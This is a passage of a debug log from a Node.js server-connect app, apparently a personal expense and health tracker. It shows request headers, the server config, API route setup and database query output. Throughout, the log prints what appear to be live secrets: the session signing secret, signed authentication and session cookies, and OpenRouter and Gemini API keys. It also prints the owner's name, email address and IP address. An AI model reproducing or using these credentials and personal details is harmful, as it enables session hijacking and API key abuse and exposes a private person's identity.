    cookie: 'security.auth=s%3A3%2BnzlkEhCekl4MaSPcngJA%3D%3D.ujRr%2F0gwOGw92ypXXwQ9bCi4Z1ErX1d%2B5K%2FNoO4eLz8vZQN2CzPsAIe6KOdz%2BT4f4iO2meBe%2FGqPuRDFaCyFfIyuKn1MoJXiDHwCHgZcbp%2F38dYWvnaPaK4YCsBpD7BXv8HbuvdyAkLwbkumZIe4Hc0XWknnmyWzSjx%2BFdYKNJ0%3D.vYVSE8vURsf0VXLReSYMvNgLJtAItR6yx%2BeQ%2FoudNkk; your_r_git.sid=s%3AM36S9pPD7S4swVvw53uakFeB7W1HDzxS.ZWUggtviKMYRDhwFDytynhiJBPWQyYeuggfVF5K4zMw',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-25T04:01:57.381Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: '*/*',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A3%2BnzlkEhCekl4MaSPcngJA%3D%3D.ujRr%2F0gwOGw92ypXXwQ9bCi4Z1ErX1d%2B5K%2FNoO4eLz8vZQN2CzPsAIe6KOdz%2BT4f4iO2meBe%2FGqPuRDFaCyFfIyuKn1MoJXiDHwCHgZcbp%2F38dYWvnaPaK4YCsBpD7BXv8HbuvdyAkLwbkumZIe4Hc0XWknnmyWzSjx%2BFdYKNJ0%3D.vYVSE8vURsf0VXLReSYMvNgLJtAItR6yx%2BeQ%2FoudNkk; your_r_git.sid=s%3AM36S9pPD7S4swVvw53uakFeB7W1HDzxS.ZWUggtviKMYRDhwFDytynhiJBPWQyYeuggfVF5K4zMw',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-24T07:11:54.505Z server-connect:app Executing action step identify
2025-12-24T07:11:54.505Z server-connect:app options: { provider: 'security' }
2025-12-24T07:11:54.505Z server-connect:output identity: 1
2025-12-24T07:25:57.147Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2025-12-24T07:25:59.159Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2025-12-24T07:26:00.025Z server-connect:setup:upload Upload middleware configured.
2025-12-24T07:26:00.025Z server-connect:secure CSRF Protection initialized
2025-12-24T07:26:00.027Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2025-12-24T07:26:00.028Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2025-12-24T07:26:00.030Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2025-12-24T07:26:00.032Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2025-12-24T07:26:00.038Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2025-12-24T07:26:00.041Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2025-12-24T07:26:00.051Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2025-12-24T07:26:00.065Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2025-12-24T07:26:00.069Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2025-12-24T07:26:00.075Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2025-12-24T07:26:00.087Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2025-12-24T07:26:00.090Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2025-12-24T07:26:00.098Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2025-12-24T07:26:00.100Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2025-12-24T07:26:00.104Z server-connect:setup:routes Api route /api/health/get-exercises(.json)? created
2025-12-24T07:26:00.106Z server-connect:setup:routes Api route /api/health/get-schedule(.json)? created
2025-12-24T07:26:00.108Z server-connect:setup:routes Api route /api/health/get-weight-log(.json)? created
2025-12-24T07:26:00.176Z server-connect:setup:routes Api route /api/health/log-set(.json)? created
2025-12-24T07:26:00.180Z server-connect:setup:routes Api route /api/health/manage-calories(.json)? created
2025-12-24T07:26:00.186Z server-connect:setup:routes Api route /api/health/manage-schedule(.json)? created
2025-12-24T07:26:00.188Z server-connect:setup:routes Api route /api/health/manage-weight(.json)? created
2025-12-24T07:26:00.188Z server-connect:setup:routes Api route /api/health/todays-calories(.json)? created
2025-12-24T07:26:00.194Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2025-12-24T07:26:00.197Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2025-12-24T07:26:00.202Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2025-12-24T07:26:00.205Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2025-12-24T07:26:00.209Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2025-12-24T07:26:00.209Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2025-12-24T07:26:00.212Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2025-12-24T07:26:00.219Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2025-12-24T07:26:00.219Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2025-12-24T07:26:00.222Z server-connect:setup:routes Api route /api/test(.json)? created
2025-12-24T07:26:00.767Z server-connect:router Serving templateView /
2025-12-24T07:26:00.770Z server-connect:app Executing action step identify
2025-12-24T07:26:00.770Z server-connect:app options: { provider: 'security' }
2025-12-24T07:26:00.773Z server-connect:output identity: 1
2025-12-24T07:26:00.773Z server-connect:app Executing action step restrict
2025-12-24T07:26:00.773Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-24T07:26:00.775Z server-connect:output restrict: undefined
2025-12-24T07:26:00.776Z server-connect:app Executing action step restrict
2025-12-24T07:26:00.776Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-24T07:26:00.777Z server-connect:output restrict: undefined
2025-12-24T07:26:00.777Z server-connect:router Render template layouts/main
2025-12-24T07:26:00.778Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    'sec-purpose': 'prefetch;prerender',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A3%2BnzlkEhCekl4MaSPcngJA%3D%3D.ujRr%2F0gwOGw92ypXXwQ9bCi4Z1ErX1d%2B5K%2FNoO4eLz8vZQN2CzPsAIe6KOdz%2BT4f4iO2meBe%2FGqPuRDFaCyFfIyuKn1MoJXiDHwCHgZcbp%2F38dYWvnaPaK4YCsBpD7BXv8HbuvdyAkLwbkumZIe4Hc0XWknnmyWzSjx%2BFdYKNJ0%3D.vYVSE8vURsf0VXLReSYMvNgLJtAItR6yx%2BeQ%2FoudNkk; your_r_git.sid=s%3AM36S9pPD7S4swVvw53uakFeB7W1HDzxS.ZWUggtviKMYRDhwFDytynhiJBPWQyYeuggfVF5K4zMw',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-25T04:01:57.381Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_SEC_PURPOSE: 'prefetch;prerender',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A3%2BnzlkEhCekl4MaSPcngJA%3D%3D.ujRr%2F0gwOGw92ypXXwQ9bCi4Z1ErX1d%2B5K%2FNoO4eLz8vZQN2CzPsAIe6KOdz%2BT4f4iO2meBe%2FGqPuRDFaCyFfIyuKn1MoJXiDHwCHgZcbp%2F38dYWvnaPaK4YCsBpD7BXv8HbuvdyAkLwbkumZIe4Hc0XWknnmyWzSjx%2BFdYKNJ0%3D.vYVSE8vURsf0VXLReSYMvNgLJtAItR6yx%2BeQ%2FoudNkk; your_r_git.sid=s%3AM36S9pPD7S4swVvw53uakFeB7W1HDzxS.ZWUggtviKMYRDhwFDytynhiJBPWQyYeuggfVF5K4zMw',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-24T07:26:01.768Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-24T07:26:01.768Z server-connect:app Executing action step identify
2025-12-24T07:26:01.768Z server-connect:app options: { provider: 'security' }
2025-12-24T07:26:01.769Z server-connect:output identity: 1
2025-12-24T07:26:01.769Z server-connect:app Executing action step restrict
2025-12-24T07:26:01.769Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T07:26:01.769Z server-connect:output restrict: undefined
2025-12-24T07:26:01.770Z server-connect:app Executing action step select
2025-12-24T07:26:01.771Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-24T07:26:01.775Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-24T07:26:01.775Z server-connect:app Executing action step identify
2025-12-24T07:26:01.775Z server-connect:app options: { provider: 'security' }
2025-12-24T07:26:01.776Z server-connect:output identity: 1
2025-12-24T07:26:01.776Z server-connect:app Executing action step restrict
2025-12-24T07:26:01.776Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T07:26:01.779Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-24T07:26:01.780Z server-connect:output restrict: undefined
2025-12-24T07:26:01.781Z server-connect:app Executing action step single
2025-12-24T07:26:01.781Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-24T07:26:01.782Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-24T07:26:04.369Z server-connect:router Serving templateView /workout
2025-12-24T07:26:04.369Z server-connect:app Executing action step identify
2025-12-24T07:26:04.370Z server-connect:app options: { provider: 'security' }
2025-12-24T07:26:04.370Z server-connect:output identity: 1
2025-12-24T07:26:04.370Z server-connect:app Executing action step restrict
2025-12-24T07:26:04.370Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-24T07:26:04.370Z server-connect:output restrict: undefined
2025-12-24T07:26:04.371Z server-connect:router Render template workout
2025-12-24T07:26:04.371Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/workout',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A3%2BnzlkEhCekl4MaSPcngJA%3D%3D.ujRr%2F0gwOGw92ypXXwQ9bCi4Z1ErX1d%2B5K%2FNoO4eLz8vZQN2CzPsAIe6KOdz%2BT4f4iO2meBe%2FGqPuRDFaCyFfIyuKn1MoJXiDHwCHgZcbp%2F38dYWvnaPaK4YCsBpD7BXv8HbuvdyAkLwbkumZIe4Hc0XWknnmyWzSjx%2BFdYKNJ0%3D.vYVSE8vURsf0VXLReSYMvNgLJtAItR6yx%2BeQ%2FoudNkk; your_r_git.sid=s%3AM36S9pPD7S4swVvw53uakFeB7W1HDzxS.ZWUggtviKMYRDhwFDytynhiJBPWQyYeuggfVF5K4zMw',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-25T04:01:57.381Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/workout',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/workout',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
